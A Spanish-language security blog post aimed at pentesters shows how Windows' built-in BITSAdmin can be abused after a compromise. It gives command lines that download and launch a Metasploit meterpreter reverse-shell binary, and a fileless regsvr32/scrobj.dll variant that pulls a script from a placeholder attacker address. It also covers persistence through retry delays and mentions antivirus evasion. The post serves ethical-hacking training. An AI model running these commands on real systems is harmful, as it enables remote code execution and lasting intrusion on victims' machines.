martes, abril 28, 2020

Hacking Windows: BITSAdmin for Pentesters

Hoy venimos con un poco de pentesting y la herramienta BITSAdmin, una herramienta nativa de Windows que se encuentra con nosotros desde la versión XP del sistema operativo. Seguramente la puedas utilizar en muchos proyectos de Ethical Hacking, ya que como herramienta de post-explotación para hacer ciertas acciones viene bien.

Figura 1: Hacking Windows: BITSAdmin for Pentesters


Hoy os voy a hablar un poco de BITSAdmin ya que lo estoy preparando como dentro del conjunto de técnicas y herramientas que mostraré en un par de Hands on Lab que impartiré el 7 y 8 de Mayo y el 21 y 22 de Mayo. Estos hands on lab van de hacking y pentesting y recibirás el libro de Metasploit para pentesters Gold Edition y el de Ethical Hacking con el pack HACKING.

Figura 2: Metasploit para pentesters Gold Edition

El servicio Background Intelligent Transfer Service Admin permite crear descargas o subidas en forma de Jobs monitorizando su progreso. BITSAdmin, con la salida de Windows Vista, incorporó cabeceras HTTP personalizada, autenticación de cliente basada en certificados y soporte a IPv6. Para muchos es un gran desconocido, pero es una herramienta de línea de comandos que puede ser útil en un pentesting.

Con BITSAdmin se puede hacer descargas y subidas de ficheros a servidores HTTP y SMB. BITSAdmin puede pausar y reanudar las transferencias de archivos, incluso después de un reinicio. El uso que se le puede dar en un Ethical Hacking es, a priori, obvio, lograr descargar de forma sencilla algún tipo de archivo al equipo.

Figura 3: Ethical Hacking

Realmente, el uso que puede tener va más allá, logrando descargas de instrucción directas a memoria o al registro de Windows logrando un file-less. Otra opción que se puede hacer de BITSAdmin es lograr cierta persistencia, también en modo “disco” o en modo file-less.

Primeros pasos con BITS

BITS o BITSAdmin tiene una serie de parámetros, más de los que podemos pensar a priori. En un primer uso, si queremos hacer una descarga rápida podemos hacer uso del parámetro /transfer. Con este parámetro indicaremos un recurso remoto que queremos descargar y un destino donde almacenarlo. La sintaxis es:
Bitsadmin /transfer [nombre_job] http://[url] [destino local]
Por ejemplo:
 bitsadmin /transfer pablo_poc http://1.1.1.1/file.png c:\destino\file.png
Para copiar localmente ficheros también se puede llevar a cabo de manera muy sencilla mediante el uso de un job. Seguiremos los siguientes pasos:
- Creamos el job. Bitsadmin /create pablo_poc 
- Añadimos al job el origen y el destino. Bitsadmin /addfile pablo_poc [ruta1] [ruta2] 
- Ahora se inicia la transferencia con el parámetro “resume”. Bitsadmin /resume pablo_poc. 
- Finalizamos el trabajo. Bitsadmin /complete pablo_poc.
Start-BitsTransfer en Powershell

En Powershell se tiene de un cmdlet que se puede utilizar para hacer la transferencia de archivos de manera sencilla. No hace falta especificar el trabajo a crear, ni hacer referencia a él posteriormente. Solo con el parámetro Source y Destination es suficiente para hacer la transferencia.

Figura 4: Cmdlet para usar BitsTransfer en PowerShell

Aparte se puede utilizar bits indicando el tipo de transferencia con el parámetro denominado TransferType. Hay muchas opciones interesantes en su documentación. Por ejemplo, si hay que autenticarse en el servidor se puede utilizar la siguiente sintaxis:
Start-BitsTransfer -Credential Username\Domain -Source https://[URL] -Destination [Ruta] -ProxyUsage Override -ProxyList @(https://proxy1, 123.24.21.23, proxy3).
También se puede hacer uso de un fichero CSV que enumere los diferentes tipos de trabajos que deben ser realizados con BITS. La sintaxis es sencilla y sería:
Import-CSV [fichero con lista] | Start-BitsTransfer -TransferType Upload.
Figura 5: Documentación oficial de BITS

Tras ver algunas opciones de BITS vamos a avanzar con un caso práctico y sencillo que puede ser utilizado en el pentesting.

Transferencia de un binario y de un “file-less”

En este apartado vamos a ver dos ejemplos. El primero, muy gráfico, generamos un binario con Metasploit. Para generarlo podemos utilizar msfvenom o, directamente, utilizar el módulo payload/Windows/meterpreter/reverse_tcp, como se puede ver en la imagen.

Figura 6: Reverse_TCP con msfvenom

Con la opción generate -f exe -o [ruta volcar el EXE] se puede generar rápidamente un binario para un sistema Windows. Ahora, preparamos un handler para recibir la conexión resultante de la ejecución del binario anterior.

Figura 7: arrancado el handler

Esto lo mostramos de manera local, pero se puede extrapolar a una sesión remota que tuviéramos o cualquier acción necesaria en un momento determinado. Los pasos para lanzar el job y provocar la subida del binario sería:
1. Bitsadmin /create [nombre job]
2. Bitsadmin /addfile [nombre job] http://[url EXE] [ruta interna]
Figura 8: bitsadmin en PowerShell

Por último, hacemos uso de:
3. Bitsadmin /setnotifycmdline [nombre job] cmd.exe “/c bitsadmin /complete [nombre job] | start /B [ruta interna EXE].
La última instrucción lo que hace es delegar en la cmd e invocar el binario subido. La última instrucción puede ser un bitsadmin /resume [nombre job] lo que finalizará el proceso.

Figura 9: Delegación de la cmd

Tras ejecutar eso, producirse la descarga y ejecutarse el binario se obtiene una sesión en Metasploit, tal y como puede verse en la imagen. Hay que indicar que el binario, lógicamente, puede ser detectado por el antivirus, por lo que habría que jugar a la evasión previa.

Figura 10: Sesión de meterpreter conseguida

Ahora vamos con un segundo ejemplo. Ahora toca el turno de un payload de tipo file-less. Para ello la idea es, en vez de utilizar el handler de Metasploit es utilizar el web_delivery, también de Metasploit y que hemos utilizado mucho en el blog. La configuración de web_delivery es sencilla. Configuramos el módulo con Target a 3 para que nos genere un SCT y sea ejecutado posteriormente.

Figura 11: Configuración de web_delivery

Aquí se hace un pequeño “trick”. BITS necesita descargar algo, por lo que las dos primeras instrucciones las dejamos igual:
1. Bitsadmin /create [nombre job] 
2. Bitsadmin /addfile …
Ahora en el /SetNotifyCmdLine es donde le invocamos la instrucción que nos devolvió el módulo web_delivery. Quedaría así:
bitsadmin /setnotifycmdline [nombre job] 
    regsvr32.exe "/s /n /u /i:http://[ip_y_puerto]/dE8vICrV.sct scrobj.dll
Por último se invoca el bitsadmin /resume. Una técnica interesante de tipo “file-less”.

Persistencia

Por último vamos a hablar de la persistencia. BITSAdmin se puede utilizar para lograr cierta persistencia en el equipo comprometido, que es tan importante para poder tomar el control de un equipo o de varios en la red cuando se está en medio de un Hacking de Windows.

Figura 12: Hacking Windows

Para conseguir esa tan querida persistencia existen dos enfoques que se pueden emplear principalmente, y que serían:
1. Persistencia manual: en la que vamos a almacenar un fichero en el equipo y le vamos a programar un trabajo para que se ejecute cada X minutos. ¿Esto cómo funciona? Existe un parámetro en BITS que es “SetMinRetryDelay”. Esta opción fija cada cuando hay que reintentar un job o descarga que falla. El esquema es el siguiente:
o Creamos el trabajo con BITS. Lo hemos hecho antes. 
o Añadimos la descarga. Lo hemos hecho antes. Estas dos instrucciones son iguales a las anteriores. 
o Bitsadmin /SetNotifyCmdLine [nombre job] [ruta EXE]. Aquí ejecutamos el EXE descargado por el job. 
o Bitsdadmin /SetMinRetryDelay [nombre job] X. X es un valor en segundos.
o Bitsadmin /resume.
2. Enfoque fileless, que tanto nos gusta. La estrategia es muy similar a lo que hemos trabajado antes, es decir, utilizamos un SCT para ejecutar en memoria sin necesidad de tocar disco. Configuramos el web_delivery como se hizo antes y ejecutamos:
o Creamos el trabajo con BITS. Lo hemos hecho antes. 
o Añadimos la descarga. Lo hemos hecho antes. Estas dos instrucciones son iguales a las anteriores.
o bitsadmin /setnotifycmdline [nombre job] regsvr32.exe "/s /n /u /i:http://[ip_y_puerto]/dE8vICrV.sct scrobj.dll 
o Bitsdadmin /SetMinRetryDelay [nombre job] X. X es un valor en segundos.
o Bitsadmin /resume.
Como se puede ver el enfoque es el mismo, solo cambia la fuente del payload, si está en disco o si lo traemos directo a memoria en un momento determinado. Sin duda es una herramienta interesante que aporta en diferentes ámbitos del pentesting, tanto en ejecución de código como en la parte de persistencia puede ser utilizada. Necesario de conocer.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Contactar con Pablo González

No hay comentarios:

Entrada destacada

Seis recomendaciones personales de libros de @0xWord para disfrutar y aprender

Este verano pude disfrutar de la lectura de un libro que me encantó. El libro de Factfulness que me había regalado mi compañera Beatriz Ce...

Entradas populares